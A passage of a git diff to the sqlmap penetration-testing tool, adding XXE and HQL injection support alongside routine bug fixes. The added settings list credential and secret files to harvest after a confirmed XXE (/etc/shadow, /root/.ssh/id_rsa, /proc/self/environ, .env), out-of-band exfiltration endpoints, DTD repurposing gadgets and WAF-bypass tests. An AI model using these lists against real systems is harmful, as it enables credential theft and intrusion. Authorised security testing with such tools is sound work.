("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"), + ("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"), + ("Go encoding/xml", r"XML syntax error on line \d+"), + ("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"), +) + +XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES) + +# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external +# entities explicitly refused). Reported as "reachable but protected" - never a hit. +XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)" + +# Benign, low-entropy files used only to demonstrate file-read impact once XXE is +# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a +# short host-identity file is enough to prove the read without tripping decoys. +# Out-of-band (interactsh) collector for blind XXE confirmation. Public default +# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server +# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match +# the interactsh defaults (subdomain = <20-char id><13-char nonce>.). +OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") +# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration +# (hosts the malicious external DTD and captures the file-bearing callback). Unlike +# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent. +OOB_EXFIL_ENDPOINT = "https://webhook.site" +OOB_CORRELATION_ID_LENGTH = 20 +OOB_NONCE_LENGTH = 13 +OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the +OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort) + +# Time-based blind tier: an external entity aimed at this non-routable RFC5737 +# TEST-NET-1 host makes a fetching parser stall on the connection, so a large, +# reproducible response delay betrays otherwise-blind XXE with NO collector needed. +# The delay must exceed a DTD-processing control baseline by this many seconds. +XXE_BLACKHOLE_HOST = "192.0.2.1" +XXE_TIME_THRESHOLD = 5 + +# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based +# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment). +# A match means the injection reached the ORM query parser (not the SQL layer), +# which is what distinguishes HQL injection from ordinary SQL injection. +HQL_ERROR_SIGNATURES = ( + ("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"), + ("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"), + ("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"), + ("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"), + ("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"), + ("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"), +) + +HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES) + +# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the +# ORM equivalent of a leaked table name; HQL has no information_schema so error-based +# leakage is the native way to learn the entity model). First capture group = name. +HQL_ENTITY_REGEX = ( + r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'", + r"resolve root entity '([^']+)'", + r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped", +) + +# Printable-ASCII codepoint bounds bisected during HQL blind character extraction +HQL_CHAR_MIN = 0x20 +HQL_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during HQL blind extraction +HQL_MAX_LENGTH = 256 + +# Maximum number of attributes to enumerate per entity during HQL blind extraction +HQL_MAX_FIELDS = 64 + +# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump +HQL_MAX_RECORDS = 100 + +# Common mapped entity names brute-forced through the boolean oracle when the app +# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an +# unmapped one raises UnknownEntityException and reads as false). +HQL_COMMON_ENTITIES = ( + "User", "Users", "Account", "Accounts", "Member", "Members", "Customer", + "Customers", "Person", "People", "Employee", "Admin", "Login", "Credential", + "Profile", "Role", "Client", "Contact", "Company", "Product", "Order", + "Item", "Article", "Post", "Comment", "Category", "Document", "File", + "Message", "Group", "Session", "Token", "Application", "Setting", +) + +XXE_IMPACT_FILES = ( + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal + ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), +) + +# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests +# this curated set of high-value, fixed-path files (host identity, process env/ +# secrets, key material, common application drop paths) - the XXE analogue of the +# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each +# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently +# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids +# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are +# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted +# request is honoured verbatim instead). +XXE_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/etc/hosts", + "/etc/os-release", + "/etc/shadow", + "/etc/group", + "/proc/self/environ", + "/proc/self/cmdline", + "/proc/self/status", + "/proc/version", + "/root/.bash_history", + "/root/.ssh/id_rsa", + "/flag", + "/flag.txt", + "c:/windows/win.ini", + "c:/windows/system32/drivers/etc/hosts", + "c:/inetpub/wwwroot/web.config", +) + +# Application web roots + source filenames used, once php://filter is available, to +# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its +# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter +# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline, +# environ}. Best-effort and bounded. +XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app") +XXE_SOURCE_NAMES = ( + "index.php", "config.php", "config.inc.php", "secret.php", + "db.php", "database.php", "settings.php", "init.php", "functions.php", + "app.py", "server.py", "main.py", "wp-config.php", ".env", +) + +# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: +# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle +# an error/exfil primitive, so no outbound network is needed. (path, entity_name). +# Windows paths are community-sourced and remain UNVERIFIED vendor-side. +XXE_LOCAL_DTDS = ( + ("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable + ("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package + ("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"), + ("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile + ("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED + ("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"), + ("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"), + ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"), +) + # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 @@ -767,10 +1283,16 @@ # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 +# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled +KEEPALIVE_MAX_REQUESTS = 1000 + +# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled +KEEPALIVE_IDLE_TIMEOUT = 30 + # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 -# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), identYwaf, htmlParser, etc.) +# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), htmlParser, etc.) HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024 # Maximum (multi-threaded) length of entry in bisection algorithm @@ -788,14 +1310,20 @@ # Check for empty columns only if table is sufficiently large CHECK_ZERO_COLUMNS_THRESHOLD = 10 +# Threshold for checking types of columns in case of SQLite dump format +CHECK_SQLITE_TYPE_THRESHOLD = 100 + # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database") + +# Regular expression used to search for bold-patterns +BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS) # TLDs used in randomization of email-alike parameter values RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") # Generic www root directory names -GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") +GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") # Maximum length of a help part containing switch/option name(s) MAX_HELP_OPTION_LENGTH = 18 @@ -804,7 +1332,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' @@ -818,14 +1346,23 @@ # Default adapter to use for bottle server RESTAPI_DEFAULT_ADAPTER = "wsgiref" -# Default REST-JSON API server listen address +# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version. +# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response), +# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes. +# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI +# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes. +# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape +# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added). +RESTAPI_VERSION = "2.0.0" + +# Default REST API server listen address RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" -# Default REST-JSON API server listen port +# Default REST API server listen port RESTAPI_DEFAULT_PORT = 8775 -# Unsupported options by REST-JSON API server -RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard") +# Unsupported options by REST API server +RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson") # Use "Supplementary Private Use Area-A" INVALID_UNICODE_PRIVATE_AREA = False @@ -833,6 +1370,9 @@ # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" +# Minimum supported version of httpx library (for --http2) +MIN_HTTPX_VERSION = "0.28" + # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" @@ -873,7 +1413,7 @@ MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized -METASPLOIT_SESSION_TIMEOUT = 120 +METASPLOIT_SESSION_TIMEOUT = 180 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 @@ -888,11 +1428,11 @@ NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens -CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { - OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), + OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } @@ -936,6 +1476,7 @@ } th{ font-size:12px; + cursor:pointer; } """ @@ -945,23 +1486,19 @@ _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() if _ in globals(): original = globals()[_] - if isinstance(original, int): + if isinstance(original, bool): + globals()[_] = value.lower() in ('1', 'true') + elif isinstance(original, int): try: globals()[_] = int(value) except ValueError: pass - elif isinstance(original, bool): - globals()[_] = value.lower() in ('1', 'true') + elif isinstance(original, float): + try: + globals()[_] = float(value) + except ValueError: + pass elif isinstance(original, (list, tuple)): - globals()[_] = [__.strip() for __ in _.split(',')] + globals()[_] = [__.strip() for __ in value.split(',')] else: globals()[_] = value - -# Installing "reversible" unicode (decoding) error handler -def _reversible(ex): - if INVALID_UNICODE_PRIVATE_AREA: - return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) - else: - return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) - -codecs.register_error("reversible", _reversible) diff --git a/lib/core/shell.py b/lib/core/shell.py index 2ed47cecb8e..8fde1456409 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -40,6 +40,9 @@ def global_matches(self, text): except: readline._readline = None +_atexitRegistered = False +_activeCompletion = None + def readlineAvailable(): """ Check if the readline is available. By default @@ -148,4 +151,13 @@ def autoCompletion(completion=None, os=None, commands=None): readline.parse_and_bind("tab: complete") loadHistory(completion) - atexit.register(saveHistory, completion) + + # Note: readline keeps a single global in-memory history; loadHistory() above swaps it to the + # currently active shell. Registering a fresh atexit handler per call would make every shell + # write that one global buffer to its own path at exit, clobbering the others. Instead register + # a single handler that saves only the shell active at exit. + global _atexitRegistered, _activeCompletion + _activeCompletion = completion + if not _atexitRegistered: + atexit.register(lambda: saveHistory(_activeCompletion)) + _atexitRegistered = True diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 36fdf65636e..a8c867a5dd9 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -75,7 +75,7 @@ def recv(self, maxsize=None): def recv_err(self, maxsize=None): return self._recv('stderr', maxsize) - def send_recv(self, input='', maxsize=None): + def send_recv(self, input=b'', maxsize=None): return self.send(input), self.recv(maxsize), self.recv_err(maxsize) def get_conn_maxsize(self, which, maxsize): @@ -97,7 +97,7 @@ def send(self, input): try: x = msvcrt.get_osfhandle(self.stdin.fileno()) (_, written) = WriteFile(x, input) - except ValueError: + except (ValueError, NameError): return self._close('stdin') except Exception as ex: if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): @@ -187,7 +187,7 @@ def recv_some(p, t=.1, e=1, tr=5, stderr=0): y.append(r) else: time.sleep(max((x - time.time()) / tr, 0)) - return b''.join(y) + return b''.join(getBytes(i) for i in y) def send_all(p, data): if not data: @@ -199,4 +199,9 @@ def send_all(p, data): sent = p.send(data) if not isinstance(sent, int): break + if sent == 0: + # Note: POSIX send() returns 0 when the child's stdin pipe is not currently writable; + # back off briefly instead of busy-spinning at 100% CPU until the child drains it + time.sleep(0.01) + continue data = buffer(data[sent:]) diff --git a/lib/core/target.py b/lib/core/target.py index 7496d71b793..dd1fd34ae35 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -79,7 +79,7 @@ from lib.core.threads import getCurrentThreadData from lib.utils.hashdb import HashDB from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): @@ -156,7 +156,8 @@ def process(match, repl): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".+?)"(?%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) for match in re.finditer(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): @@ -213,6 +214,22 @@ def process(match, repl): conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) + # Also expose XML attribute values (e.g. ) as injection points, not just + # element text (Reference: https://github.com/sqlmapproject/sqlmap/issues/5993). Done per + # opening tag (skipping declarations, and closing tags) so every attribute + # is covered while the XML declaration/namespaces are left intact. + def processAttributes(match): + def _attr(m): + name = m.group("name") + if name == "xmlns" or name.startswith("xmlns:"): # namespace declarations are not injection points + return m.group(0) + if conf.testParameter and name not in (removePostHintPrefix(_) for _ in conf.testParameter): + return m.group(0) + hintNames.append(("%s%s%s" % (m.group(1), m.group(3), m.group(4)), name)) + return "%s%s%s%s%s" % (m.group(1), m.group(3), m.group(4), kb.customInjectionMark, m.group(5)) + return re.sub(r'(\s(?P[\w:.-]+)\s*=\s*)(["\'])([^"\'<>]*)(["\'])', _attr, match.group(0)) + conf.data = re.sub(r"(?s)<[^>?!/][^>]*>", processAttributes, conf.data) + elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): message = "Multipart-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " @@ -225,7 +242,8 @@ def process(match, repl): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), + functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed @@ -410,7 +428,7 @@ def process(match, repl): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) @@ -451,6 +469,14 @@ def _setHashDB(): errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex) raise SqlmapFilePathException(errMsg) + for suffix in ("-shm", "-wal"): + leftover = conf.hashDBFile + suffix + if os.path.exists(leftover): + try: + os.remove(leftover) + except OSError: + pass + conf.hashDB = HashDB(conf.hashDBFile) def _resumeHashDBValues(): @@ -463,7 +489,9 @@ def _resumeHashDBValues(): kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings - kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable + # Note: the value is stored as text ("True"/"False"); coerce back to bool, otherwise a resumed + # "False" is a truthy string and would wrongly mark xp_cmdshell as available + kb.xpCmdshellAvailable = (hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) == str(True)) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) if isNumPosStrValue(kb.errorChunkLength): @@ -606,10 +634,11 @@ def _createFilesDir(): Create the file directory. """ - if not any((conf.fileRead, conf.commonFiles)): + if not any((conf.fileRead, conf.commonFiles, conf.xxe)): return - conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname + # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) + conf.filePath = paths.SQLMAP_FILES_PATH % normalizeUnicode(getUnicode(conf.hostname)) if not os.path.isdir(conf.filePath): try: @@ -631,12 +660,14 @@ def _createDumpDir(): if not conf.dumpTable and not conf.dumpAll and not conf.search: return - conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname) + # Note: normalize the hostname the same way _createTargetDirs() builds conf.outputPath, so a + # non-ASCII (IDN) target keeps its dump under the same per-host tree as the session/log/target.txt + conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, normalizeUnicode(getUnicode(conf.hostname))) if not os.path.isdir(conf.dumpPath): try: os.makedirs(conf.dumpPath) - except OSError as ex: + except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) diff --git a/lib/core/testing.py b/lib/core/testing.py index 55e2d659865..c983ebdc66e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,17 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import doctest +import json import logging import os import random import re +import shutil import socket import sqlite3 +import subprocess import sys import tempfile import threading @@ -20,66 +23,119 @@ from extra.vulnserver import vulnserver from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import getSafeExString from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import shellExec from lib.core.compat import round +from lib.core.compat import xrange from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.patch import unisonRandom from lib.core.settings import IS_WIN +from lib.core.settings import RESTAPI_VERSION -def vulnTest(): +def vulnTest(tests=None, label="vuln"): """ - Runs the testing against 'vulnserver' + Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS) """ - TESTS = ( + TESTS = tests if tests is not None else ( ("-h", ("to see full list of options run with '-hh'",)), ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), + ("-u --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # session resume (1/2): detect + STORE the injection into the (serialized) session + ("-u --technique=B --banner", ("sqlmap resumed the following injection point(s) from stored session", "Type: boolean-based blind", "banner: '3.")), # session resume (2/2): NO --flush-session, so the injection must round-trip back OUT of the serialized session and still work (guards session serialization/deserialization end-to-end) (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), - (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)), ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), - ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), - ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")), - ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), + ("-u \"&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # JSON-response detection via the structure-aware oracle (no --string hint) + ("-u --data=\"security_level=1\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: request-fingerprint dimension (a non-scanner User-Agent, applied up-front, restores detection) + ("-u 